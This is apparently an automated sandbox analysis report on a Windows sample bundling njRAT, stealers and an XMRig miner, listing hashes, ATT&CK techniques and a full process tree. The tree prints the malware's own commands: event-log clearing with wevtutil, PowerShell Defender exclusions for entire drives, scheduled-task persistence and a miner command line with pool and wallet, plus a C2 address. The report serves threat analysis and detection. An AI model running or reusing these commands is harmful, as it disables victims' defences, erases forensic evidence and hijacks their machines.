blackguard | 949fdff7add8424402563119503a81a3ea58be83321ba17a12a82b02fc6402ce

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/02/2026, 09:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 30.6MB
Sample260204-ltppvscw9c
SHA256 949fdff7add8424402563119503a81a3ea58be83321ba17a12a82b02fc6402ce
MD5 01803ec695b92f3e0c8b7ac7f204ec5f
SHA1 8f899be79a6f22b21084952c11f347701955f1ba
SHA512 023de52f20061237c8c717dc017c9e09feecd7774cadef209b812f0f7587e65f3f3e03c63140b1de3805a8d2ea8406b44634a6759190e1f593a5ca794977a0f1
SSDEEP 786432:tUKk9/E3M1MgCsm3IhVVkebg3+Oy70qZcTakRfasfX3SC:tUJNMVD3IhVVH03+OynFWas/D
TLSH
T11B673325D76061F9C9ABD534CC918827DF3A7C0A4397FB8B57FA817A1E532414E3AB02
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

administtrator defense_evasion discovery execution blackguard growtopia njrat xmrig miner persistence ransomware spyware stealer trojan

Malware Config

Extracted

Family

njrat

Version

Njrat 0.7 Golden By Hassan Amiri

Botnet

administtrator

26.169.62.1:5552

Mutex

Windows Update

Attributes

reg_key
Windows Update
splitter
|Hassan|

Signatures

BlackGuard
Infostealer first seen in Late 2021.
stealer blackguard
Blackguard family
blackguard
Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
Growtopia family
growtopia
Njrat family
njrat
Xmrig family
xmrig
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
2160	wevtutil.exe
4836	wevtutil.exe
4164	wevtutil.exe

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral1/memory/2824-270-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-272-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-280-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-281-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-279-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-278-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-277-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-290-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-293-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2824-299-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3948	powershell.exe
4288	powershell.exe
3040	powershell.exe
3736	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	javaw.exe
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	juscheck.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java update.exe	microsoftedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java update.exe	microsoftedge.exe

Executes dropped EXE 10 IoCs

pid	Process
2988	javaw.exe
4764	juscheck.exe
2552	java.exe
4792	jusched.exe
3192	microsoftedge.exe
1816	microsoftedge.exe
2824	Server.exe
4616	java.exe
4648	sihost64.exe
1988	Server.exe

Loads dropped DLL 1 IoCs

pid	Process
2824	conhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "\"C:\\Users\\Admin\\microsoftedge.exe\" .."	microsoftedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "\"C:\\Users\\Admin\\microsoftedge.exe\" .."	microsoftedge.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
18	discord.com
19	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\system32\java.exe	conhost.exe
File opened for modification	C:\Windows\system32\java.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\nvrtc-builtins64_112.dll	conhost.exe
File opened for modification	C:\Windows\system32\Microsoft\Libs\nvrtc-builtins64_112.dll	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\ddb64.dll	conhost.exe
File opened for modification	C:\Windows\system32\Microsoft\Libs\ddb64.dll	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\nvrtc64_112_0.dll	conhost.exe
File opened for modification	C:\Windows\system32\Microsoft\Libs\nvrtc64_112_0.dll	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1744 set thread context of 2824	1744	conhost.exe	134

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	java.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	java.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4452	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3984	schtasks.exe
5056	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2552	java.exe
2552	java.exe
2552	java.exe
2552	java.exe
1368	conhost.exe
3948	powershell.exe
3948	powershell.exe
4288	powershell.exe
4288	powershell.exe
1744	conhost.exe
1744	conhost.exe
3040	powershell.exe
3040	powershell.exe
3736	powershell.exe
3736	powershell.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe
2824	conhost.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3192	microsoftedge.exe
1988	Server.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	java.exe
Token: SeDebugPrivilege	1368	conhost.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	4288	powershell.exe
Token: SeDebugPrivilege	3192	microsoftedge.exe
Token: SeSecurityPrivilege	2160	wevtutil.exe
Token: SeBackupPrivilege	2160	wevtutil.exe
Token: SeSecurityPrivilege	4836	wevtutil.exe
Token: SeBackupPrivilege	4836	wevtutil.exe
Token: SeSecurityPrivilege	4164	wevtutil.exe
Token: SeBackupPrivilege	4164	wevtutil.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: SeDebugPrivilege	1744	conhost.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeLockMemoryPrivilege	2824	conhost.exe
Token: SeLockMemoryPrivilege	2824	conhost.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe
Token: 33	3192	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	3192	microsoftedge.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 3732 wrote to memory of 2900	3732	2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe	88
PID 2900 wrote to memory of 2988	2900	cmd.exe	92
PID 2988 wrote to memory of 4764	2988	javaw.exe	93
PID 2988 wrote to memory of 2552	2988	javaw.exe	94
PID 2988 wrote to memory of 4792	2988	javaw.exe	95
PID 4764 wrote to memory of 3192	4764	juscheck.exe	96
PID 3192 wrote to memory of 3984	3192	microsoftedge.exe	100
PID 4792 wrote to memory of 1368	4792	jusched.exe	106
PID 4792 wrote to memory of 1368	4792	jusched.exe	106
PID 1368 wrote to memory of 1672	1368	conhost.exe	107
PID 1368 wrote to memory of 3568	1368	conhost.exe	109
PID 1672 wrote to memory of 3948	1672	cmd.exe	111
PID 3568 wrote to memory of 5056	3568	cmd.exe	112
PID 1672 wrote to memory of 4288	1672	cmd.exe	114
PID 2552 wrote to memory of 2160	2552	java.exe	116
PID 2552 wrote to memory of 4836	2552	java.exe	117
PID 2552 wrote to memory of 4164	2552	java.exe	119
PID 2552 wrote to memory of 2484	2552	java.exe	121
PID 2484 wrote to memory of 4452	2484	cmd.exe	124
PID 1368 wrote to memory of 1804	1368	conhost.exe	125
PID 1804 wrote to memory of 4616	1804	cmd.exe	127
PID 4616 wrote to memory of 1744	4616	java.exe	129
PID 4616 wrote to memory of 1744	4616	java.exe	129
PID 1744 wrote to memory of 3388	1744	conhost.exe	130
PID 3388 wrote to memory of 3040	3388	cmd.exe	132
PID 1744 wrote to memory of 4648	1744	conhost.exe	133
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 1744 wrote to memory of 2824	1744	conhost.exe	134
PID 3388 wrote to memory of 3736	3388	cmd.exe	135
PID 4648 wrote to memory of 1936	4648	sihost64.exe	137
PID 4648 wrote to memory of 1936	4648	sihost64.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\juscheck.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Users\Admin\AppData\Local\Temp\javaw.exe
    "C:\Users\Admin\AppData\Local\Temp\javaw.exe" -pDhajqJHDkqin
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2988
  - - C:\Users\Admin\AppData\Local\Temp\juscheck.exe
      "C:\Users\Admin\AppData\Local\Temp\juscheck.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4764
    - - C:\Users\Admin\microsoftedge.exe
        
        "C:\Users\Admin\microsoftedge.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3192
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3984
  - - C:\Users\Admin\AppData\Local\Temp\java.exe
      "C:\Users\Admin\AppData\Local\Temp\java.exe"
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2552
    - - C:\Windows\SYSTEM32\wevtutil.exe
        
        "wevtutil.exe" cl System
        5⤵
        Clears Windows event logs
        Suspicious use of AdjustPrivilegeToken
        
        PID:2160
    - - C:\Windows\SYSTEM32\wevtutil.exe
        
        "wevtutil.exe" cl Application
        5⤵
        Clears Windows event logs
        Suspicious use of AdjustPrivilegeToken
        
        PID:4836
    - - C:\Windows\SYSTEM32\wevtutil.exe
        
        "wevtutil.exe" cl Security
        5⤵
        Clears Windows event logs
        Suspicious use of AdjustPrivilegeToken
        
        PID:4164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cleanup.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2484
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:4452
  - - C:\Users\Admin\AppData\Local\Temp\jusched.exe
      "C:\Users\Admin\AppData\Local\Temp\jusched.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4792
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\jusched.exe"
        5⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1368
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4288
      - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "java" /tr "C:\Windows\system32\java.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3568
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "java" /tr "C:\Windows\system32\java.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5056
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Windows\system32\java.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1804
        
        C:\Windows\system32\java.exe
        
        C:\Windows\system32\java.exe
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4616
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\java.exe"
        8⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1744
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3388
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3736
        
        C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4648
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        10⤵
        
        PID:1936
        
        C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=43NbUZrvQLai2SVbAdwH1oaZWZvP5yhgbLEHkwR875R9guyzTaNjH7HGXat49D5keT5ftJQdTdA8LLfFsCFHxQTdMwcGshA --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-kill-targets="" --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth --cinit-kill --cuda --cuda-loader="C:\Windows\system32\Microsoft\Libs\ddb64.dll"
        9⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2824

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
- Executes dropped EXE
PID:2824

C:\Users\Admin\microsoftedge.exe
"C:\Users\Admin\microsoftedge.exe" ..
1⤵
- Executes dropped EXE
PID:1816

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
PID:1988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Server.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Server.exe.log
Size 1KB
SHA256 8b96a8557deea66696837af011843d6a82451ba57c8f9b5a2726a70818d6fc7e
MD5 a8a147915e3a996fdbe10b3a3f1e1bb2
SHA1 abc564c1be468d57e700913e7b6cf8f62d421263
SHA512 17b42f17ef60a9f625703172763f692e5ed2ca93564a97853dfa72bb0ac6305ef3267aea0b205938e3aa8eac10156d9d4f322b30d0329d92d647bcec6372731c
TLSH
T1A51189342276E1D889163F512C1E2AC443BF4767B660EE0C7998A39EED361175F212E7
MD5 SHA1 SHA512 TLSH

Submit Download

conhost.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
Size 646B
SHA256 f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88
MD5 23867f73ff39fa0dfee6cfb5d3d176ab
SHA1 8705a09d38e5f0b034a6f4b4deb5817e312204e1
SHA512 108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1
TLSH
T170F0AC3033A5E0D948626F120C287A8953FF0349B6A0AE88B494B36DDE369578F310E3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 8478ca44e6145dbe6664f871852535793f5ab6d86b4c78c611165bdfb91f159a
MD5 b594c0a5591fab95a43185dd9944a231
SHA1 3d725e779790f3525ba12b0666f0a3a235644fed
SHA512 452fc6194d00c466a3ceb98d2cce2e4262f6b0998b99c6b2ccd842d07449b177d1ce9ff4e7659e0b358eedf44bdc20cc30e3fdb2e4b61e56d94e3965f48cdb73
TLSH
T1C7112223F78C8920CC96163A509DAC5172B586CB81AEDF9F7FC0D210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 da8b533f81b342503c109e46b081b5c5296fdad5481f93fe5cc648e49ca6238e
MD5 3072fa0040b347c3941144486bf30c6f
SHA1 e6dc84a5bd882198583653592f17af1bf8cbfc68
SHA512 62df0eed621fe8ec340887a03d26b125429025c14ddcdfef82cb78ce1c9c6110c1d51ff0e423754d7966b6251363bf92833970eaf67707f8dd62e1549a79536c
TLSH
T10C112223F38C89A1CC961639509DAC5172B686CB81AEDEDF7FC0C210E1AF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
MD5 98baf5117c4fcec1692067d200c58ab3
SHA1 5b33a57b72141e7508b615e17fb621612cb8e390
SHA512 344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d
TLSH
T1B3112223F78C8920CC961639509DAC5172B986CB81AFDE9F7FC0D210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_krty5hv4.kqo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_krty5hv4.kqo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cleanup.bat

Path C:\Users\Admin\AppData\Local\Temp\cleanup.bat
Size 144B
SHA256 7d602dc4a4402117edcc1643bfdd39d87fd48b4a30d5e152e788d786a963aae8
MD5 53f357718c729d8715bd2d7ffff74ae1
SHA1 abbd786460cf150c08c7fc0f434513b943c143ad
SHA512 0a63b4d54ce84726d9e4df79c10606237a8613f04ab50d0c47ed825111a27a990c1f08647b2f43856eaf8da4a854429b63ecded2995c0f18870f977dc790f46f
TLSH
T1E0C08C0362A78AA80440A02709BA718CA47918D92E8077D00702C0E8528242EAA86701
MD5 SHA1 SHA512 TLSH

Submit Download

java.exe

Path C:\Users\Admin\AppData\Local\Temp\java.exe
Size 296KB
SHA256 3fca68d671c0a407d59b5cab6ba3038c39181cdaffd1a3ae178c4b1bed028d7f
MD5 bb8001427147efbde33f465c2ffdf47b
SHA1 e9e12f4a18b189ca22b33b679d8590049ac5f275
SHA512 59cc59758f2abc5b9d0bdb9d232d7f3c341e5db3fdcdcd686b6ac1746376e242b66ba408c672b1f5ce305550486ca6d4000edc5ff5ee4fb9d490d2452e1422d0
SSDEEP 6144:i59IhSQf0Ou8yegCyThvFhIpWbYNoAIIypwC+9bJjU/HIR6pUP:Hh6OTyejyThvFhIpQrAHYR/H7UP
TLSH
T1BB545C0127ED4659F2FF5BF8E4B1212583B1B862F83EDB8F6D4464ED1922740D950BA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

javaw.exe

Path C:\Users\Admin\AppData\Local\Temp\javaw.exe
Size 30.4MB
